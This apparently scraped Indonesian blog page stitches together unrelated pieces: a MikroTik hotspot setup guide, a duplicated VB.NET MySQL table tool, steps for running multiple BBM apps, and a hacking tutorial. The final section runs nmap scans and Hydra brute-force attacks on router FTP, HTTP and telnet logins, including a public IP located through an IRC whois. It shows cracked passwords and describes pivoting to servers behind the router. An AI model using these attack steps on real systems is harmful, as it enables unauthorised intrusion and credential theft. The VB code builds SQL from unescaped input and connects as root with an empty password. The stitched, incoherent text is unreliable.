android jones

• Modem (Yang sudah terhubung INTERNET)
• MikroTik RB / OS
• Wireless Adapter / Access Point
• 2 Kabel UTP
• Software Winbox
• Software WinSCP
• File login.html yang sudah di Modifikasi

• Buka Winbox dan mencari Mac Address untuk login, klick MAC Addressnya bukan IP Address nya.

• Setelah memilih Mac Address , login menggunakan default yaitu , Login : Admin . Password : [Kosong]

• Setelah berhasil login, kita dapat melihat Interfaces MikroTik tersebut di winbox.

• Edit nama Interfaces agar mudah melakukan konfigurasi, ether1 = Internet , ether2 = Wifi Hotspot, lihat gambar di bawah ini.

• Berikutnya kita harus mengisikan IP Address pada masing-masing ether yg sudah di beri nama. Menu IP - Address - [+]

• Masukan IP Address untuk ether Wifi Hotspot 192.168.1.1/24, kemudian klik OK.

• Setelah memasukkan IP Address ether Wifi Hotspot, Sekarang kita menggunakan DHCP Client untuk mendapatkan IP Internet. Menu - IP - DHCP Client - [+]

• Pilih lah Interfaces "INTERNET" dan klik OK.

• Untuk melihat IP address yang telah di konfigurasi. Menu - IP - Address - Akan muncul Address List. lihat gambar di bawah ini.

• Selesai Konfigurasi IP setiap ether, sekarang kita akan membuat Hotspot. Menu - IP - Hotspot - Hotspot Setup. Lihat gambar di bawah ini.

• Pilih HotSpot Interface - WIFI HOTSPOT.

• Klik Next karena IP interface Wifi Hotspot sudah seperti yang telah di konfigurasi dan beri centang pada Masquerade Network.

• Isi Address Pool. Pada tahap ini kita menentukan IP berapa sampai dengan IP berapa yang dapat menggunakan Wifi Hotspot. Contoh : 192.168.1.10-192.168.1.100 ( hanya IP dari 192.168.1.10 sampai dengan IP 192.168.1.100 yang dapat menggunakan Wifi Hotspot ).

• Selanjutnya konfigurasi SSL, karena kita tidak menggunakan SSL, pada select Certificate, pilih saja none lalu klik next.

• Konfigurasi IP SMTP Server. Jika anda memiliki SMTP Server, silahkan masukkan IP SMTP Server anda, karena saya tidak punya maka langsung Next.

• Selanjutnya Konfigurasi DNS, Karena DNS sudah auto detect dari Interface Internet, maka tidak perlu di konfigurasi lagi. Langsung klik Next. (jika belum ada, silahkan isi DNS yang anda inginkan).

• Untuk DNS Name di kosongkan saja dan klik Next. (jika anda ingin memberi nama, silahkan).

• Berikut tahap membuat user hotspot login. User : admin dan Password : kosong. (isi dengan yang anda inginkan). Kemudian Klik Next.

• Setup membuat Hotspot sudah selesai. Seperti terlihat pada gambar di bawah ini.

• Dan ini hasil membuat Hotspot tadi. Lihat gambar di bawah.

• Klik pada menu Server Profiles dan isi DNS Name untuk Hotspot Login dan melimit bandwidth user Hotspot, seperti terlihat pada gambar di bawah.

• Membuat user login lebih banyak lagi, Pilih Tab [Users] - [+] - Isikan Name ( Sebagai User ) Password ( Kode Pengaman ).

• Dan seperti ini hasil kita membuat user Hotspot login.

• Kemudian lakukan percobaan pada client yang sudah terkoneksi Wireless/Access Point. Buka browser ketik www.google.com, maka secara otomatis akan direct ke sbp-hotspot/login karena DNS Name yang telah di konfigurasi tadi.

• Setelah memasukkan Username beserta Password dan berhasil login akan muncul seperti gambar di bawah ini.

• Download WinSCP
• Download Login.html

Hostname : IP Mikrotik.
Username : admin
Password : Password mikrotik
Port number : jangan diubah, biarkan 22

CREATE TABLE table_name (column_name column_type);

Selected Columns	Properties		Settings
Field			Header Text		Field
			DatapropertyName	n_field
			Name			n_field
			ColumnType		DataGridViewTextBoxColumn
type			Header Text		type
			DatapropertyName	n_type
			Name			n_type
			ColumnType		DataGridViewComboBoxColumn
			Items			INT
VARCHAR
TEXT
DATE
Lenght/Values		Header Text		Lenght/Values
			DatapropertyName	n_Lenght
			Name			n_Lenght
			ColumnType		DataGridViewTextBoxColumn
NULL			Header Text		Null
			DatapropertyName	n_null
			Name			n_null
			ColumnType		DataGridViewCheckBoxColumn
			Truevalue 		NOT NULL
			Falsevalue		NULL
Index			Header Text		Index
			DatapropertyName	n_index
			Name			n_index
			ColumnType		DataGridViewComboBoxColumn
Items			PRIMARY KEY
UNIQUE	
INDEX
FULLTEXT
Auto Increment		Header Text		Auto Increment
			DatapropertyName	n_ai
Truevalue		AUTO_INCREMENT
			Name			n_ai
			ColumnType		DataGridViewCheckBoxColumn

'Merupakan pernyataan SQL atau disimpan prosedur untuk mengeksekusi terhadap sumber data.
Dim cmd As New MySqlCommand
Dim da As New MySqlDataAdapter
Public total As Integer
Dim publictable As New DataTable
'menyatakan conn sebagai koneksi dan sekarang akan sambungan baru karena
'itu sama dengan Getconnection Function
Dim con As MySqlConnection = Damconn()

Public Function Damconn() As MySqlConnection
Return New MySqlConnection("server=localhost;user id=root;password=;database=")
End Function

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    GroupBox1.Text = "Create new table on database "
    Dim sql As String = "SHOW DATABASES"
    Dim publictable As New DataTable
    Try
     
    'bind the connection and query
    With cmd
    .Connection = con
    .CommandText = sql
    End With
     
    da.SelectCommand = cmd
    da.Fill(publictable)
     
    With cbdb
    .DataSource = publictable
    .DisplayMember = "Database"
    .ValueMember = "Database"
    End With
     
    da.Dispose()
     
    Catch ex As Exception
    MsgBox(ex.Message)
     
    End Try
    con.Clone()
     
    End Sub

    Private Sub btntest_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btntest.Click
    GroupBox1.Text = "Create new table on database " & cbdb.Text
    Dim sql As String = "SHOW TABLES FROM " & cbdb.Text
    Dim publictable As New DataTable
    Try
     
    'bind the connection and query
    With cmd
    .Connection = con
    .CommandText = sql
    End With
     
    da.SelectCommand = cmd
    da.Fill(publictable)
    ' publictable.Rows.Add("Please Select...")
    With cbtable
    .DataSource = publictable
    .DisplayMember = "Tables_in_" & cbdb.Text
    .ValueMember = "Tables_in_" & cbdb.Text
     
    End With
    ' dtgrd.Columns(1).Visible = False
    da.Dispose()
     
    Catch ex As Exception
    MsgBox(ex.Message)
     
    End Try
    con.Clone()
     
    End Sub

    txttblName.ReadOnly = False
    btnCreateTbl.Visible = True
    btnAddtbl.Visible = False

    Private Sub btnCreateTbl_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnCreateTbl.Click
     
    Dim field As String
    Dim type As String
    Dim nlenght As Integer
    Dim nNull As String
    Dim nIndex As String
    Dim nAI As String
    Dim alltxt As String
    Dim result As Integer
     
    Dim tblAndDB As String = cbdb.Text & "." & txttblName.Text
    Dim TBLCREATE As String = "CREATE TABLE " & tblAndDB & " ( "
     
    For i As Integer = 0 To Me.dtgStructNewTbl.Rows.Count - 2
     
    ' field.Add(Me.dtgStructNewTbl.Rows(i).Cells("n_field").Value)
    field = Me.dtgStructNewTbl.Rows(i).Cells("n_field").Value
    type = Me.dtgStructNewTbl.Rows(i).Cells("n_type").Value
    nlenght = Me.dtgStructNewTbl.Rows(i).Cells("n_lenght").Value
    nNull = Me.dtgStructNewTbl.Rows(i).Cells("n_null").Value
    nIndex = Me.dtgStructNewTbl.Rows(i).Cells("n_index").Value
    nAI = Me.dtgStructNewTbl.Rows(i).Cells("n_ai").Value
     
    alltxt += field & " " & type & "(" & nlenght & ")" & " " & nNull & " " & nIndex & " " & nAI & "," & vbNewLine
     
    Next
    Try
    'it removes all the newline and whitespaces
    alltxt = alltxt.Substring(0, alltxt.Length - Environment.NewLine.Length)
    Dim cleanText As String
    'it removes the the last comma ","
    cleanText = alltxt.Remove(alltxt.Length - 1)
    Dim finalText As String
    'combination of finalText with table name and Mysql ENGINE
    finalText = TBLCREATE & cleanText & ")ENGINE = MYISAM ;"
     
    con.Open()
    With cmd
    .Connection = con
    .CommandText = finalText
    result = cmd.ExecuteNonQuery
    If result > 0 Then
    MsgBox("No Table has created!")
    Else
    MsgBox(txttblName.Text & " has created Successfully!")
    With Me
    .txttblName.ReadOnly = True
    .btnCreateTbl.Visible = False
    .btnAddtbl.Visible = True
    .dtgStructNewTbl.SendToBack()
    '.dtgStructNewTbl.Columns.Clear()
    End With
     
    End If
    End With
     
    Form1_Load(sender, e)
     
    Catch ex As Exception
    MsgBox(ex.Message)
    End Try
    con.Close()
    End Sub

    Imports MySql.Data.MySqlClient
    Public Class Form1
    'Represents an SQL statement or stored procedure to execute against a data source.
    Dim cmd As New MySqlCommand
    Dim da As New MySqlDataAdapter
    Public total As Integer
    Dim publictable As New DataTable
    'declare conn as connection and it will now a new connection because
    'it is equal to Getconnection Function
    Dim con As MySqlConnection = Damconn()
     
    Public Function Damconn() As MySqlConnection
    Return New MySqlConnection("server=localhost;user id=root;password=;database=")
    End Function
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    GroupBox1.Text = "Create new table on database "
    Dim sql As String = "SHOW DATABASES"
    Dim publictable As New DataTable
    Try
     
    'bind the connection and query
    With cmd
    .Connection = con
    .CommandText = sql
    End With
     
    da.SelectCommand = cmd
    da.Fill(publictable)
     
    With cbdb
    .DataSource = publictable
    .DisplayMember = "Database"
    .ValueMember = "Database"
    End With
     
    da.Dispose()
     
    Catch ex As Exception
    MsgBox(ex.Message)
     
    End Try
    con.Clone()
     
    End Sub
     
    Private Sub btntest_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btntest.Click
    GroupBox1.Text = "Create new table on database " & cbdb.Text
    Dim sql As String = "SHOW TABLES FROM " & cbdb.Text
    Dim publictable As New DataTable
    Try
     
    'bind the connection and query
    With cmd
    .Connection = con
    .CommandText = sql
    End With
     
    da.SelectCommand = cmd
    da.Fill(publictable)
    ' publictable.Rows.Add("Please Select...")
    With cbtable
    .DataSource = publictable
    .DisplayMember = "Tables_in_" & cbdb.Text
    .ValueMember = "Tables_in_" & cbdb.Text
     
    End With
    ' dtgrd.Columns(1).Visible = False
    da.Dispose()
     
    Catch ex As Exception
    MsgBox(ex.Message)
     
    End Try
    con.Clone()
     
    End Sub
     
    Private Sub btnAddtbl_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnAddtbl.Click
    txttblName.ReadOnly = False
    btnCreateTbl.Visible = True
    btnAddtbl.Visible = False
    End Sub
     
    Private Sub btnCreateTbl_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnCreateTbl.Click
     
    Dim field As String
    Dim type As String
    Dim nlenght As Integer
    Dim nNull As String
    Dim nIndex As String
    Dim nAI As String
    Dim alltxt As String
    Dim result As Integer
     
    Dim tblAndDB As String = cbdb.Text & "." & txttblName.Text
    Dim TBLCREATE As String = "CREATE TABLE " & tblAndDB & " ( "
     
    For i As Integer = 0 To Me.dtgStructNewTbl.Rows.Count - 2
     
    ' field.Add(Me.dtgStructNewTbl.Rows(i).Cells("n_field").Value)
    field = Me.dtgStructNewTbl.Rows(i).Cells("n_field").Value
    type = Me.dtgStructNewTbl.Rows(i).Cells("n_type").Value
    nlenght = Me.dtgStructNewTbl.Rows(i).Cells("n_lenght").Value
    nNull = Me.dtgStructNewTbl.Rows(i).Cells("n_null").Value
    nIndex = Me.dtgStructNewTbl.Rows(i).Cells("n_index").Value
    nAI = Me.dtgStructNewTbl.Rows(i).Cells("n_ai").Value
     
    alltxt += field & " " & type & "(" & nlenght & ")" & " " & nNull & " " & nIndex & " " & nAI & "," & vbNewLine
     
    Next
    Try
    'it removes all the newline and whitespaces
    alltxt = alltxt.Substring(0, alltxt.Length - Environment.NewLine.Length)
    Dim cleanText As String
    'it removes the the last comma ","
    cleanText = alltxt.Remove(alltxt.Length - 1)
    Dim finalText As String
    'combination of finalText with table name and Mysql ENGINE
    finalText = TBLCREATE & cleanText & ")ENGINE = MYISAM ;"
     
    con.Open()
    With cmd
    .Connection = con
    .CommandText = finalText
    result = cmd.ExecuteNonQuery
    If result > 0 Then
    MsgBox("No Table has created!")
    Else
    MsgBox(txttblName.Text & " has created Successfully!")
    With Me
    .txttblName.ReadOnly = True
    .btnCreateTbl.Visible = False
    .btnAddtbl.Visible = True
    .dtgStructNewTbl.SendToBack()
    '.dtgStructNewTbl.Columns.Clear()
    End With
     
    End If
    End With
     
    Form1_Load(sender, e)
     
    Catch ex As Exception
    MsgBox(ex.Message)
    End Try
    con.Close()
    End Sub
    End Class

• Download semua Applikasi BBM berikut ini :

BBM1 - BBM2 - BBM3 - BBM4 - BBM5 (jika anda ingin 5 BBM dalam 1 Hape)

• Install BBM1, kemudian BBM2, lalu BBM3, lanjut ke BBM4, dan terakhir BBM5
• Jalankan BBM1 dengan membuat ID BBM1 yang baru . . . kemudian LOGIN
• Jalankan BBM2 dan buat ID baru lagi untuk BBM2
• Jalankan BBM3 dan buat juga ID baru untuk BBM3
• Jalankan BBM4 buat lagi ID baru untuk BBM4
• Dan terakhir jalankan BBM5 dan buat ID baru BBM5

Percobaan penulis melakukan serangan BF (brute force) pada http, telnet dan ssh mengalami kegagalan, setelah termenung sekian lama ahkirnya penulis ingat serangan BF pada FTP di waktu sebelumnya, ahkirnya penulis mencoba melakukan BF pada FTP dan hasilnya ternyata sukses. Hmm username dan password untuk http, telnet, ssh, telnet adalah sama, satu celah kena maka semua kena, jadi?

Dari sisi kompatibilitas mikrotik dapat diancungi jempol tapi akibat dari banyaknya kompatibilitas yang ada dapat membawa ancaman lebih besar, seperti pada telnet yang penulis bahas dan praktek diartikel yang sebelumnya.

Oke, kita langsung praktek saja, kita periksa port yang terbuka di mikrotik

C:\Documents and Settings\serverdata>nmap -A 192.168.1.174

Starting Nmap 5.21 ( http://nmap.org ) at 2011-11-07 15:36 Pacific Standard Time

Nmap scan report for 192.168.1.174
Host is up (0.00013s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp MikroTik router ftpd 3.20
22/tcp open ssh OpenSSH 2.3.0 mikrotik 2.9 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey: 1024 c6:5e:04:d3:12:db:1d:98:c9:17:e2:98:77:d4:39:ba (RSA1)
|_1024 76:68:bc:ee:e3:40:f5:6b:72:ea:44:55:df:86:06:ec (DSA)
23/tcp open telnet Linux telnetd
80/tcp open http MikroTik router http config
|_html-title: mikrotik routeros > administration
2000/tcp open winbox MikroTik WinBox management console
8080/tcp open http-proxy Mikrotik http proxy
8291/tcp open unknown
MAC Address: 08:00:27:22:84:F1 (Cadmus Computer Systems)
Device type: media device
Running: Chumby embedded
OS details: Chumby Internet radio
Network Distance: 1 hop
Service Info: OS: Linux; Device: router

HOP RTT ADDRESS
1 0.13 ms 192.168.1.174

OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 170.00 seconds

Ternyata banyak port dan service yang terbuka di mikrotik.

Oke tidak perlu berpanjang-panjang lebar lagi, kita langsung hack saja mikrotik target.

C:\Documents and Settings\serverdata>

H:\hydra>hydra -l admin -P kamus.txt 192.168.1.174 ftp
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-11-07 14:39:20
[DATA] 16 tasks, 1 servers, 23 login tries (l:1/p:23), ~1 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.174 login: admin password: jagoan
[STATUS] attack finished for 192.168.1.174 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2011-11-07 14:39:26

Binggo, password mikrotik sudah didapat, kita coba masuk lewat web.

Disini penulis menggunakan tool Hydra. Hydra adalah tool untuk melakukan hacking password dengan menggunakan metode brute force, dengan anda memiliki kamus kata yang banyak yang dimungkinkan passwordnya ada di dalam kamus tersebut.

Di sini penulis contohkan misal kita join ke mIRC, kita contohkan saja nick ce_imutbgtt, nah whois aja itu nick dan kita akan mendapatkan IPnya.

Jika anda ingin terus maju maka anda dapat menggunakan teknik brute force. Contohnya untuk melakukan exploitasi dengan hydra adalah

H:\hydra>hydra -m / -l admin -P data.txt 180.254.70.135 http-get
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-10-17 14:27:56
[DATA] 11 tasks, 1 servers, 11 login tries (l:1/p:11), ~1 tries per task
[DATA] attacking service http-get on port 80
[STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)
[80][www] host: 180.254.70.135 login: admin password: baseball
Hydra (http://www.thc.org) finished at 2011-10-17 14:27:57

H:\hydra>

Setelah kita masuk ke router dengan password yang didapat, jika kita ingin melakukan hacking server di belakang router maka kita dapat melakukan IP Forwarding dari router ke Server yang berada dibelakang router.

Disini kita tidak tahu IP-IP lokal berapa saja dibelakang router, karena itu kita dapat mengujinya satu persatu dengan melakukan ping walaupun tidak jaminan.

Disini diasumsikan IP Servernya adalah 192.168.1.2 setelah kita ping dapat.

D:\>ping 180.254.70.135

Pinging 180.254.70.135 with 32 bytes of data:

Reply from 180.254.70.135: bytes=32 time<1ms TTL=254
Reply from 180.254.70.135: bytes=32 time=2ms TTL=254
Reply from 180.254.70.135: bytes=32 time=11ms TTL=254
Reply from 180.254.70.135: bytes=32 time<1ms TTL=254

Setelah diping jalan maka kita dapat mencoba melakukan scanning dengan NMAP

C:\>nmap -v -A 180.254.70.135

Starting Nmap 5.21 ( http://nmap.org ) at 2011-10-17 15:28 Pacific Daylight Time

NSE: Loaded 36 scripts for scanning.
Initiating Ping Scan at 15:28
Scanning 180.254.70.135 [4 ports]
Completed Ping Scan at 15:28, 0.53s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:28
Completed Parallel DNS resolution of 1 host. at 15:28, 3.09s elapsed
Initiating SYN Stealth Scan at 15:28
Scanning 180.254.70.135 [1000 ports]
Discovered open port 23/tcp on 180.254.70.135
Discovered open port 80/tcp on 180.254.70.135
Discovered open port 3389/tcp on 180.254.70.135
Discovered open port 21/tcp on 180.254.70.135
Completed SYN Stealth Scan at 15:28, 2.34s elapsed (1000 total ports)

Disini dari scanning dengan NMAP kita mendapatkan adanya port 23 yaitu port untuk telnet server. Dengan aktifnya Telnet Server maka kita dapat melakukan brute force ke server Telnet dengan Hydra.

H:\hydra>hydra -l administrator -P data.txt 180.254.70.135 telnet
Hydra v6.0 (c) 2011 by van Hauser / THC – use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2011-10-17 15:21:22
[DATA] 6 tasks, 1 servers, 6 login tries (l:1/p:6), ~1 tries per task
[DATA] attacking service telnet on port 23
[STATUS] attack finished for 180.254.70.135 (waiting for childs to finish)
[23][telnet] host: 180.254.70.135 login: administrator password: sepakbola
Hydra (http://www.thc.org) finished at 2011-10-17 15:21:26

Binggo, kita mendapatkan password telnetnya.

Masukkan login dan passwordnya dan kita akan mendapatkan shell dari telnet server. Contohnya :

Sip, kita masuk ke shell server.

Untuk download Hydra. http://0xa.li/files/hydra-6.0-windows.zip. Untuk cari kamusnya untuk brute force dapat dicari sendiri di google, jika ingin buat sendiri juga boleh. Cayooo!

Solusi : Pengamanannya jika anda ingin tetap dapat dipanggil router speedynya dari luar, maka anda dapat membuat password yang susah ditebak dengan berbagai kombinasi huruf dan angka yang kompleks tapi tetap mudah diingat. Jika ingin lebih aman lagi ya tidak perlu membuat router speedy bisa diakses dari internet, caranya misal dengan melempar port 80 ke IP lain yang kosong atau tidak dipakai.

Saya tidak bertanggung sama sekali atas semua hal-hal yang diakibatkan oleh artikel ini.